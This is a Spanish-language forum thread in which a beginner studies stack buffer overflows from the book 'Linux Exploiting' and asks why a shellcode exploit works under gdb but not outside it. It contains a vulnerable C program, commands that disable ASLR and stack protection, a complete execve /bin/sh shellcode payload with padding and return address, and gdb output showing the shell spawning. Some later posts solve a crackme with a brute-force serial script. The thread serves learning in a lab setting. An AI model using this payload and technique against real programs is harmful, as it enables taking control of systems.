Mensajes

Bueno pues ahora que he tenido algo de tiempo y con motivo de ayudar a cualquiera que este intentando resolver este ejercicio, o que este teniendo los mismos problemas que yo, he creado este documento en el que explico poco a poco, como he ido resolviendo el problema. Seguramente se pueda explicar de mejor forma, pero tampoco tengo todo el tiempo del mundo digamos que es una primera versión la cual se puede ir mejorando algunos aspectos o algunos fallos (conceptuales u ortográficos) que se hayan cometido.

Agradecer a todos los que me habéis ayudado a resolver todas mis dudas y hasta la próxima.

Como no puedo adjuntar el documento (O no esta la opción o no la veo) dejo un enlace de google Drive desde donde os lo podéis descargar:

https://drive.google.com/file/d/0B522JOJrz48zcmhkRzJHQkpTQW8/view?usp=sharing

Si veis algún fallo o posible mejora o tenéis alguna duda me comentáis.

Pareciera que fuese el mecanísmo de stackshield, no es ASLR pues no cambia el orden de las variables locales de una función, me imagino que compilaste el exploit bajo los parámetros utilizados en el libro, adicionado que la desactivación de ASLR se presenta en las 1eras páginas del libro, saludos.

.:UND3R:. no se si te refieres a lo mio o a lo de SteelHern, pero lo mio creo que no tiene nada que ver con ningun mecanismo de proteccion (que yo sepa) ya que desactivo todo tal cual dice en el libro (lo de randomize), y las direcciones del programa al ejecutarlo con gdb siempre me da las mismas, y una vez que encuentro sin gdb la direccion de memoria del inicio de la variable, siempre es la misma y siempre puedo explotar la vulnerabilidad

Lo siento .:UND3R:. y bueno a todos los que me habéis ayudado o aportado cualquier posible pista, ya solucione el problema, pero ando con la universidad bastante liado y ahora mismo no tengo tiempo para contestar, pero en cuanto pueda, escribo como resolví el problema.

Basicamente lo que pasaba es que cuando ejecuto con el gdb el programa, el gdb utiliza unas posiciones de memoria distintas a cuando lo ejecuto sin el gdb, ahora mismo no recuerdo como lo hacia (porque la solución no es que se me ocurriera a mi) pero cogía la dirección de ESP, ahora no recuerdo en que momento, y lo restaba con otra dirección que tampoco recuerdo cual ahora y después a la dirección que me daba ESP al ejecutarlo sin el gdb le restaba ese offset y era la dirección que necesitaba, a lo largo de esta semana subo exactamente como solucione el problema

Mil Perdones!

De nuevo .:UND3R:. gracias por la ayuda,

Cada vez que inicio la maquina virtual con la cuenta de root desactivo el ASLR con

echo 0 > /proc/sys/kernel/rondamize_va_space

Por otro lado (no se si esto sera un problema o no) postee mi problema en el grupo de CrackLatinos (Perdonad si es algun tipo de SPAM si eso editar el mensaje) en el me contestaron unos cuantos, realmente no probe todo lo que me dijeron de hecho solo probe una de las cosas que me dijeron, te voy a copiar la respues y las siguientes dudas que me surgieron por si sabrias tu donde esta el problema 



Aun no estoy muy familiarizado con el gdb, y vengo de utilizar el OllyDGB que tiene interfaz gráfica y todo y la verdad que se me hace bastante complicado andar con la linea de comandos e interpretar algunos resultados, pero el caso es que al ver vuestros comentarios en especial el de Boken he puesto un BreakPoint en *func+44 es decir en el return.
El shellcode es el mismo que he usado siempre y la dirección de memoria a la que tiene que saltar la he obtenido con el mismo metodo que las anteriores veces por lo que estoy haciendo exactamente el mismo proceso.

Una vez que hago:

(gdb) break *func+44

Ejecuto el programa con la shellcode el relleno y la direccion que obtuve:

_{(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "AAAAAAAAAAAAAAAAAAAAA" . "\xa0\xfb\xff\xbf"'`}

El programa se para el breakpoint, hago que salte a la siguiente instrucción y consulto el registro EIP:

_{Breakpoint 1, 0x080484d8 in func (arg=0xbffffd00 "\006") at prog.c:8
8       }
(gdb) si
Cannot access memory at address 0x41414145
(gdb) x/16x $eip
0xbffffba0:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffffbb0:     0xb0e18953      0x4180cd0b      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0xbffffba0
0xbffffbd0:     0xbffffd00      0xb7ff0590      0x0804854b      0xb7fc8ff4}

Efectivamente a saltado a la dirección de memoria bfffba0 y también podemos ver como esta el shellcode en esas posiciones de memoria nada mas y nada menos que como tenia que ocurrir.

Voy ejecutando instrucción a instrucción mediante "si" y al final obtengo una shell

_{(gdb) si
0xbffffba2 in ?? ()
(gdb) si
0xbffffba3 in ?? ()
(gdb) si
0xbffffba8 in ?? ()
(gdb) si
0xbffffbad in ?? ()
(gdb) si
0xbffffbaf in ?? ()
(gdb) si
0xbffffbb0 in ?? ()
(gdb) si
0xbffffbb1 in ?? ()
(gdb) si
0xbffffbb3 in ?? ()
(gdb) si
0xbffffbb5 in ?? ()
(gdb) si
process 3777 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
#}

Por lo que he pensado en ejecutar desde el gdb otra vez lo mismo pero esta vez sin breakpoint para ver que es lo que pasaba:

<sub>(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "AAAAAAAAAAAAAAAAAAAAA" . "\xa0\xfb\xff\xbf"'`
Starting program: /home/mk/Documentos/LinuxExploiting/StackOverFlow/prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "AAAAAAAAAAAAAAAAAAAAA" . "\xa0\xfb\xff\xbf"'`

Bienvenido a Linux Exploiting 1�Ph//shh/bin��PS���
                                                  AAAAAAAAAAAAAAAAAAAAA����

process 3785 is executing new program: /bin/dash
#</sub>

Otra vez vuelvo a obtener una shell, con esto pensé que ya estaría resulto el problema por lo que me dispongo a ejecutar el programa sin usar el gdb (Es decir el mismo shellcode y la misma posición de memoria que me funcionaron en los ejemplos anteriores).
Pero... ERROR

Si escribo lo siguiente:
_{./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "AAAAAAAAAAAAAAAAAAAAA" . "\xa0\xfb\xff\xbf"'}
Me da un mensaje de "Violacion de segmento"

Por lo que después de esto me surgen las siguientes dudas:
¿Porque me funciona con el gdb y sin usar el gdb no me funciona?
¿Que significa lo siguiente?
(gdb) si
0xbffffba2 in ?? ()

Espero haber sido lo suficientemente claro y que me podais ayudar, gracias de antemano

d00rt

Buenas .:UND3R:., lo primero de todo gracias por la ayuda.

He intentado hacer eso mismo que me dijiste de poner NOP's pero tampoco me ha funcionado 

Una duda que me surgió es, si al meter los NOP's debo de quitar parte del relleno es decir si antes teníamos:

[shellcode][relleno][EIP*]

y lo que he metido es 4 NOPS tendría que hacer algo así no?:

[NOPx4][shellcode][relleno-4][EIP*]

Es decir si añado 4 NOPS que cada uno ocupa 1 byte, tengo que quitar del relleno 4 bytes no? de todos modos probe de ambas formas quitando relleno y sin quitarle.

Realmente no se donde esta el problema, hoy no se si tendré tiempo para pelearme con el pero si tengo tiempo no dudes que lo intentare.

El truquillo ese que comentas la verdad es que es mucho mas cómodo que meterlo en el otro formato 

Donde me quede atascado en el libro es entre las paginas 33 y 57, no consigo ejecutar ningún shellcode de los que aparecen ahí ni de las distintas formas que el propone (Aunque la del gdb para ver la dirección exacta del comienzo del buffer es la que mas claro veo)
Sin embargo al principio de esas paginas que te dije, hace un ejemplo en el sobrescribe el EIP*, y pone la dirección de donde empieza la función func() asi de esa manera ejecuta dos veces esa funcion, pues en ese caso si que me funciono, pero el resto no

Gracias otra vez por la ayuda y por tu tiempo 

User: D0000rt
Pass: 0555500

Ahora mismo tengo que ir a la facultad para seguir trabajando en el proyecto de fin de carrera, pero mas adelante si queréis y ya que soy nuevo podría hacer un tutorial de como resolver este Crackme con el Ollydbg, de todos modos agradecer a tincopasan por su amabilidad y ayuda (En cuanto pueda te contesto al MP).

Next Level 

Buenas, estoy iniciándome en esto del exploiting y bueno también en lo que es la ingeniería inversa que por lo poco que he visto de ambos algo tienen en común (no se aun hasta que punto).

Estoy siguiendo el libro de "Linux Exploiting" de David Puente Castro, y no avanzo de las primeras paginas porque no consigo ejecutar una shellcode bastante sencilla, y eso que he seguido los pasos poco a poco, sin embargo a el le sale y a mi no y no tengo ni idea del porque sera.

Trabajo sobre una maquina virtual, Debian 32bits (igual que el hace en el libro) y hago lo siguiente (como el indica en el libro):

echo 0 > /proc/sys/kernel/randomize_va_space

Para eliminar una de las protecciones que trae el propio sistema operativo.

El código sobre el que quiero hacer el buffer overflow es el siguiente:

Código [Seleccionar] Expandir


#include <string.h>
#include <stdio.h>
void func(char *arg)
{
        char nombre[32];
        strcpy(nombre, arg);
        printf("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main(int argc, char *argv[])
{
        if ( argc != 2 ) {
                printf("Uso: %s NOMBRE\n", argv[0]);
                exit(0);
        }
        func(argv[1]);
        printf("Fin del programa\n\n");
        return 0;
}


Como vereis en la variable Nombre es donde tengo que introducir el shellcode.

Para sobrescribir el registro EIP o RET Necesito un relleno de 44 bytes.
Con el gdb, consigo ver cual es la dirección de inicio del buffer nombre, para que después de que introduzca mi shellcode en el buffer y lo rellene con bytes de relleno meter esa dirección en la parte que sobrescribe el EIP (quiza los que sean novatos como yo no entiendan muy bien esto que he dicho ya que es un poco enredoso, pero espero que a los que sepan no les haya costado entenderlo y puedan ayudarme) La direccion de inicio del buffer nombre que me da es 0xbffff680

Ejecuto el programa de la siguiente forma:

./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x80\xf6\xff\xbf"'`

De la misma forma que en el libro, pero lo único que cambia es la dirección a la que mandamos el registro EIP o RET ya que en cada maquina resulta diferente.

A el una vez ejecutado esto, se le ejecuta el /bin/bash mientras que a mi me sale un bonito ERROR que dice "Instrucción Ilegal", no se a que puede deberse ya que sigo los mismos pasos que el.

El programa lo ejecuto de la siguiente forma:

gcc -fno-stack-protector -z execstack prog.c -o prog

Como el indica en el libro, la única diferencia es que ami me sale un warning que me dice algo de la función exit mientras que a el no, pero no creo que sea de esto el problema.

Espero que me podáis ayudar ya que no quiero seguir avanzando sin poder conseguir esto que parece bastante básico

Gracias de antemano,
d00rt

tincopasan, la verdad que se cuales son las funciones que se les aplica tanto al nombre como a la pass, pero lo que no se es como conseguir un User y un pass valido para dicho programa o eso a lo que tu te refieres como "reversear", ¿Me lo podrías explicar por aquí o bien por privado para no aportar pistas por aquí? Si de lo que no te fías es de que no sepa en absoluto lo que hace el programa si quieres antes te digo que es lo que yo creo que hace al user y al serial y si estoy en lo correcto me explicas lo otro.

Gracias!!

[Descripción:]

Hacía tiempo que no programaba nada, asique aquí estoy de nuevo

Descripción: Un crackme hecho en C, creado para los más novatos
Dificultad: 1/10
Plataforma: Windows
Lenguaje: C

Enlace de descarga

Código fuente (Solo si lo has resuelto, o te das por vencido)

Happy coding

Hola, llevo una semana aprendiendo el arte del cracking y me he lanzado a por este reto, estoy siguiendo el tutorial de Narvaja, y voy por la lección 14  (esto lo dejo aclarado para que los recién iniciados como yo no tiren la toalla) llevo desde que has subido el problema intentando solucionarlo, he destripado las funciones por las que pasa el serial y el nombre con los que después hace las comprobaciones, el caso es que no se como generar dichos serials, he creado en python un código para que me intente sacar por fuerza bruta los serials pero creo que no me esta dando resultado (aun sigue ejecutando XD).

He hecho un caso de prueba aislado con este serial "1234567" y mi programa de python responde correctamente y concuerda con lo que aparece en el ollydbg para dicho caso.

Dejo el código para ver si alguien me puede hechar una mano ya que creo que la fuerza bruta no es la solución mas correcta.

A el que quiera intentar el reto no le recomiendo mirar el código ya que creo que desvela parte de las cosas que hace el programa y se pueden usar como pista, si alguno me puede echar una mano... lo agradeceria

Código [Seleccionar] Expandir


def sumaAsciiHex(serial):
   suma=0
   i=0
   for caracter in serial:
       if i==0:
           i=1
       else:
           suma=suma+ord(caracter)
   
   return hex(suma)

def XOR32(hexa):
   nHexa=hex(int(hexa,16)^int('0x32',16))
   return (nHexa)

def resta0A(hexa):
   return hex(int(hexa,16) - 10)

def main(name):
   for i in range(9999999,9999999999999):
       resul=sumaAsciiHex(str(i))
       while  int(resul,16)>int('0x64',16):
               xor=XOR32(resul)
               resul=resta0A(xor)
               resulint=int(resul,16)
               char=chr(int(resul,16))
       if char==name[0]:
           print("RESULTADO: ")
           print (i)
           print(char)
           print("///////")


¡Hola!

He buscado por la Lección 13 pero no sé a qué te refieres en cuando escribes: 

"Porcierto alguno tiene alguna referencia sobre información en cuanto al paso de mensajes entre ventanas... Es algo que trata en esa lección 13 pero no me queda nada claro"

¿Dónde lo pone?

Saludos

Perdon ViejoMajara, la verdad que lo escribi de momeria y pense que era en la leccion 13 pero es en la leccion 12 al principio los mensajes de WINDOWS, ya verdad que lo he pasado asi por encima porque no me e enterado muy bien